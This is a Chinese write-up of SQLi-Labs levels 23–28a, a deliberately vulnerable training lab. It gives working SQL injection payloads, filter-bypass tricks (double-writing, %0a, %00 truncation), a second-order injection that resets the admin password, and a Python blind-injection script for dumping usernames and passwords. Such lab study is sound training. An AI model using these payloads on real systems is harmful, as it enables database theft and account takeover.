当前位置: 首页 > news >正文

《SQLi-Labs》04. Less 23~28a


title: 《SQLi-Labs》04. Less 23~28a
date: 2023-10-19 19:37:40
updated: 2023-10-19 19:38:40
categories: WriteUp:Security-Lab
excerpt: 联合注入,注释符过滤绕过之构造闭合,%00 截断、二次注入、报错注入,空格过滤绕过,双写绕过、布尔盲注。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs

  • 索引
  • Less-23
    • 题解
  • Less-24
    • 题解
    • 总结
  • Less-25
    • 题解
  • Less-25a
    • 题解
  • Less-26
    • 题解
    • 总结
  • Less-26a
    • 题解
  • Less-27
    • 题解
  • Less-27a
    • 题解
  • Less-28
    • 题解
  • Less-28a
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-23:联合注入,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-24:二次注入。字符型【'】。
  • Less-25:联合注入,与 Less-23 思路一致。双写绕过。字符型【'】。
  • Less-25a:与 Less-25 差别不大。数字型。
  • Less-26:报错注入,空格过滤绕过,双写绕过,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-26a:与 Less-26 类似,布尔盲注。字符型【')】。
  • Less-27:与 Less-26 类似,报错注入。字符型【'】。
  • Less-27a:与 Less-27 类似,联合注入。字符型【"】。
  • Less-28:与前面几题都类似,联合注入。字符型【')】。
  • Less-28a:与 Less-28 不能说完全相同,只能说一模一样。

Less-23

思路与 Less1 一致。

题解

在这里插入图片描述

Less-23 和 Less-1 很像啊。只不过注释符不再起作用了,猜测注释符被过滤了。

不过可以通过构造闭合语句来使用联合注入。

构造闭合

url + ?id=1' or '1'='1

在这里插入图片描述

判断回显位

url + ?id=1' union select 1,2'
url + ?id=1' union select 1,2,3'
url + ?id=1' union select 1,2,3,4'

以上语句也可使用 %00 截断。

?id=1' union select 1,2,3,4; %00

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1

另一种写法(使用 %00 截断):

url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00

爆表

url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆字段

url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

获取敏感数据

url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1

Less-24

在这里插入图片描述

题解

这题可以使用 name:Dumb,Password:Dumb 登录。

在这里出现了传说中的二次注入。另外,这关的目标是获得 admin 用户的权限。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

先直接看过程与分析吧。

先点击注册用户,注册 admin,提示用户已存在。

那就注册一个用户 admin'#,密码随便。

注册之后可以看到注册的用户已插入数据库。

在这里插入图片描述

此时使用 admin'# 用户登录并修改密码,这里修改为 hello6

在这里插入图片描述

修改后再次查看数据库,可以看到 admin'# 用户密码没变,但 admin 用户的密码被更改了。

在这里插入图片描述

admin 密码都能自定义了,权限自然唾手可得了。

任务完成。

最后看看修改密码时发生了什么。看下源码。

在这里插入图片描述

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于信任数据库存放的信息,用户名代入时未作过滤。

所以代入以上构造的数据时 SQL 语句就是:

$sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' ";

语句注释后就成了修改 admin 用户密码的操作。

总结

二次注入:将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

Less-25

题解

根据提示,先测试一下:

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3  or '1'='1

在这里插入图片描述

“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。

也可以使用 ||&&

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-25a

题解

这题与 Less-25 没什么两样,区别在于是数字型注入,且数据库报错信息被过滤了一些。

爆库

url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-26

题解

测试一下。

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

这一关过滤了注释符、空格、or、and。

“ or ” 的过滤可以双写绕过,注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。

这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。

补充一下空格绕过的方法,可以用以下字符代替:

%09    TAB 键(水平)
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键(垂直)
%a0    空格

不过由于平台问题以上绕过 Apache 解析不了,所以也可以通过灵活使用括号【(】来绕过空格。

判断字符类型

url + ?id=1'              报错
url + ?id=1'oorr'1'='1    回显正常
url + ?id=1';%00          回显正常

在这里插入图片描述

为单引号字符型。

判断回显位

url + ?id=1'union(select(1));%00            报错
url + ?id=1'union(select(1),(2));%00        报错
url + ?id=1'union(select(1),(2),(3));%00    回显正常

不过报错注入空格使用比较少,所以直接上报错注入。

爆表

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1

爆字段

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆敏感信息

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

总结

  • 报错注入,详情参考 Less-17。
  • 空格过滤绕过。
  • 双写绕过。
  • 构造闭合绕过。

Less-26a

题解

这题与 Less-26 类似,但是不显示报错信息,使用布尔盲注。

爆表

url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0
url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),2,1))>100,1,0)||('0
...

爆字段

url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0

爆敏感信息

url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0

这里附上一个布尔盲注自动化脚本:

import requestsurl = "http://192.168.8.222/lab/sqli/Less-26a/"result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1# payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()&&table_name="users")),{i},1))>{mid},1,0)%23'# payload = f'if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'data = {'id': f"100')||{payload}||('0"}r = requests.get(url,params=data)if "Dumb" in r.text:head = mid + 1else:tail = midif head != 32:result += chr(head)else:breakprint(result)

Less-27

题解

Less-27 没有过滤 and 和 or,过滤了 select 和 union,不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多

这里直接上报错注入。

爆表

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0

爆字段

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0

爆敏感信息

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0

Less-27a

题解

与 Less-27 类似,但是不返回报错信息。

爆字段

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆敏感信息

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1
# 爆所有信息似乎有问题,只能通过 id 遍历。
url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Awhere%0Aid=1%0Aand"1

Less-28

题解

字符型【')】。过滤替换了一次 union select。依旧双写绕过。

爆表

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆字段

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆敏感数据

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1

Less-28a

题解

字符型【')】。只过滤替换了一次 union select,其他的没有过滤。

那就直接和 Less-28 一样了。其他方法这里就不尝试了。


谦,美德也,过谦者怀诈。默,懿行也,过默者藏奸。

——《格言联璧》(清)金缨

相关文章:

《SQLi-Labs》04. Less 23~28a

title: 《SQLi-Labs》04. Less 23~28a date: 2023-10-19 19:37:40 updated: 2023-10-19 19:38:40 categories: WriteUp&#xff1a;Security-Lab excerpt: 联合注入&#xff0c;注释符过滤绕过之构造闭合&#xff0c;%00 截断、二次注入、报错注入&#xff0c;空格过滤绕过&…...

文件打包下载excel导出和word导出

0.文件下载接口 请求 GET /pm/prj/menu/whsj/download/{affixId} 文件affixId多个id以逗号隔开。多个文件会以打包得形式。 1.Excel导出 1.0接口 POST 127.0.0.1:8400/pm/io/exportExcel/year-plan-table-workflow/report 参数 [{"org":"011","re…...

模拟退火算法求解TSP问题(python)

模拟退火算法求解TSP的步骤参考书籍《Matlab智能算法30个案例分析》。 问题描述 TSP问题描述在该书籍的第4章 算法流程 部分实现代码片段 坐标轴转换成两点之间直线距离长度的代码 coordinates np.array([(16.47, 96.10),(16.47, 94.44),(20.09, 92.54),(22.39, 93.37),(2…...

电路基础元件

文章目录 每周电子w5——电路元件基本电路元件电阻元件电容元件电感元件 每周电子w5——电路元件 基本电路元件 电路元件&#xff1a;是电路中最基本的组成单元 电路元件通过其端子与外部相连接&#xff1b;元件的特性则通过与端子有关的物理量描述每一种元件反映某种确定的电…...

百度地图API:JavaScript开源库几何运算判断点是否在多边形内(电子围栏)

百度地图JavaScript开源库&#xff0c;是一套基于百度地图API二次开发的开源的代码库。目前提供多个lib库&#xff0c;帮助开发者快速实现在地图上添加Marker、自定义信息窗口、标注相关开发、区域限制设置、几何运算、实时交通、检索与公交驾车查询、鼠标绘制工具等功能。 判…...

BFS专题8 中国象棋-马-无障碍

题目&#xff1a; 样例&#xff1a; 输入 3 3 2 1 输出 3 2 1 0 -1 4 3 2 1 思路&#xff1a; 单纯的BFS走一遍即可&#xff0c;只是方向坐标的移动变化&#xff0c;需要变化一下。 代码详解如下&#xff1a; #include <iostream> #include <vector> #include…...

R语言中fread怎么使用?

R语言中 fread 怎么用&#xff1f; 今天分享的笔记内容是数据读取神器fread&#xff0c;速度嘎嘎快。在R语言中&#xff0c;fread函数是data.table包中的一个功能强大的数据读取函数&#xff0c;可以用于快速读取大型数据文件&#xff0c;它比基本的read.table和read.csv函数更…...

element-plus 表格-自定义样式实现2

<template><h2>表格修改样式利用属性修改</h2><h3>row-style 行样式</h3><h3>row-style header-row-style 不能改背景色</h3><h3>cell-style header-cell-style能改背景色</h3><el-tableref"tableRef":dat…...

Mysql中的RR 隔离级别,到底有没有解决幻读问题

Mysql 中的 RR 事务隔离级别&#xff0c;在特定的情况下会出现幻读的问题。所谓的幻读&#xff0c;表示在同一个事务中的两次相同条件的查询得到的数据条数不一样。 在 RR 级别下&#xff0c;什么情况下会出现幻读 这样一种情况&#xff0c;在事务 1 里面通过 update 语句触发当…...

Visual Studio 2022下载安装的详细步骤-----C语言编辑器

目录 一、介绍 &#xff08;一&#xff09;和其他软件的区别 &#xff08;二&#xff09;介绍编写C语言的编辑器类型 二、下载安装 三、创建与运行第一个C语言程序 &#xff08;一&#xff09;创建项目 &#xff08;二&#xff09;新建文件 &#xff08;三&#xff09…...

数据可视化与GraphQL:利用Apollo创建仪表盘

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 「推荐专栏」&#xff1a; ★java一站式服务 ★ ★ React从入门到精通★ ★前端炫酷代码分享 ★ ★ 从0到英雄&#xff0c;vue成神之路★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff…...

Java中静态常量和枚举类的区别

在项目中我们有时候会使用常量、静态常量以及枚举&#xff0c;那么他们有什么区别呢&#xff1f;我们先看几个例子&#xff1a; 若依框架中使用的常量&#xff1a; /** 正常状态 */public static final String NORMAL "0";/** 异常状态 */public static final Stri…...

GenericWriteAheadSink每次checkpoint后事务是否必须成功

背景 GenericWriteAheadSink原理是把接收记录按照检查点进行分段&#xff0c;每个到来的记录都放到对应的分段中&#xff0c;这些分段内的记录是作为算子状态的形式存储和故障恢复的&#xff0c;对于每个分段内的记录列表&#xff0c;flink会在收到检查点完成的通知时把他们都…...

[深入浅出AutoSAR] SWC 设计与应用

依AutoSAR及经验辛苦整理&#xff0c;原创保护&#xff0c;禁止转载。 专栏 《深入浅出AutoSAR》 全文 3100 字&#xff0c; 包含 1. SWC 概念 2. 数据类型&#xff08;Datatype&#xff09; 3. 端口&#xff08;Port&#xff09; 4. 端口接口&#xff08;Portinterface&…...

【Ubuntu系统搭建STM32开发环境(国内镜像全程快速配置)】

源于本人失败的经历苦心研究 虚拟机安装ubuntu换源VScode安装安装Java环境安装cubemx安装 arm-Linux-gcc安装gdb server安装OpenOCD 虚拟机安装ubuntu 系统镜像可以在阿里云镜像站且下载速度很快。 选择安装的版本。 我选择的是&#xff1a;ubuntu-22.10-desktop-amd64.iso。…...

Java 中的 Default 关键字

default 关键字&#xff1a;是在 Java 8 中引入的新概念&#xff0c;也可称为 Virtual extension methods——虚拟扩展方法与public、private等都属于修饰符关键字&#xff0c;与其它两个关键字不同之处在于default关键字大部分都用于修饰接口。 default 修饰方法时只能在接口…...

AdaBoost:增强机器学习的力量

一、介绍 机器学习已成为现代技术的基石&#xff0c;为从推荐系统到自动驾驶汽车的一切提供动力。在众多机器学习算法中&#xff0c;AdaBoost&#xff08;自适应增强的缩写&#xff09;作为一种强大的集成方法脱颖而出&#xff0c;为该领域的成功做出了重大贡献。AdaBoost 是一…...

c++踩坑点,类型转换

std::string转换到PVOID std::string转换到PVOID的方式如下 这样的话成功转换 “const char *” 类型的实参与 “WCHAR *” “const char *” 类型的实参与 “WCHAR *” 类型的形参不兼容 可以看到这种报错&#xff0c;可以直接强转如下&#xff1a; 但是在我们这里不适…...

mysql—面试50题—1

注&#xff1a;面试50题将分为5个部分&#xff0c;每部分10题 一、查询数据 学生表 Student create table Student(SId varchar(10),Sname varchar(10),Sage datetime,Ssex varchar(10)); insert into Student values(01 , 赵雷 , 1990-01-01 , 男); insert into Student …...

vue解决报错Unable to preventDefault inside passive event listener invocation.

"Unable to preventDefault inside passive event listener invocation"是浏览器开发中的一个警告信息。这个警告通常出现在使用passive事件监听器时&#xff0c;当在事件处理函数中调用preventDefault()方法时会引发该警告。 在传统的事件监听模型中&#xff0c;当…...

RocketMQ延迟消息机制

两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数&#xff0c;对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后&#xf…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放

简介 前面两期文章我们介绍了I2S的读取和写入&#xff0c;一个是通过INMP441麦克风模块采集音频&#xff0c;一个是通过PCM5102A模块播放音频&#xff0c;那如果我们将两者结合起来&#xff0c;将麦克风采集到的音频通过PCM5102A播放&#xff0c;是不是就可以做一个扩音器了呢…...

生成 Git SSH 证书

&#x1f511; 1. ​​生成 SSH 密钥对​​ 在终端&#xff08;Windows 使用 Git Bash&#xff0c;Mac/Linux 使用 Terminal&#xff09;执行命令&#xff1a; ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" ​​参数说明​​&#xff1a; -t rsa&#x…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心

当仓库学会“思考”&#xff0c;物流的终极形态正在诞生 想象这样的场景&#xff1a; 凌晨3点&#xff0c;某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径&#xff1b;AI视觉系统在0.1秒内扫描包裹信息&#xff1b;数字孪生平台正模拟次日峰值流量压力…...

什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南

文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/55aefaea8a9f477e86d065227851fe3d.pn…...

AspectJ 在 Android 中的完整使用指南

一、环境配置&#xff08;Gradle 7.0 适配&#xff09; 1. 项目级 build.gradle // 注意&#xff1a;沪江插件已停更&#xff0c;推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...

Pinocchio 库详解及其在足式机器人上的应用

Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库&#xff0c;专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性&#xff0c;并提供了一个通用的框架&…...

mac 安装homebrew (nvm 及git)

mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用&#xff1a; 方法一&#xff1a;使用 Homebrew 安装 Git&#xff08;推荐&#xff09; 步骤如下&#xff1a;打开终端&#xff08;Terminal.app&#xff09; 1.安装 Homebrew…...

Vue ③-生命周期 || 脚手架

生命周期 思考&#xff1a;什么时候可以发送初始化渲染请求&#xff1f;&#xff08;越早越好&#xff09; 什么时候可以开始操作dom&#xff1f;&#xff08;至少dom得渲染出来&#xff09; Vue生命周期&#xff1a; 一个Vue实例从 创建 到 销毁 的整个过程。 生命周期四个…...

离线语音识别方案分析

随着人工智能技术的不断发展&#xff0c;语音识别技术也得到了广泛的应用&#xff0c;从智能家居到车载系统&#xff0c;语音识别正在改变我们与设备的交互方式。尤其是离线语音识别&#xff0c;由于其在没有网络连接的情况下仍然能提供稳定、准确的语音处理能力&#xff0c;广…...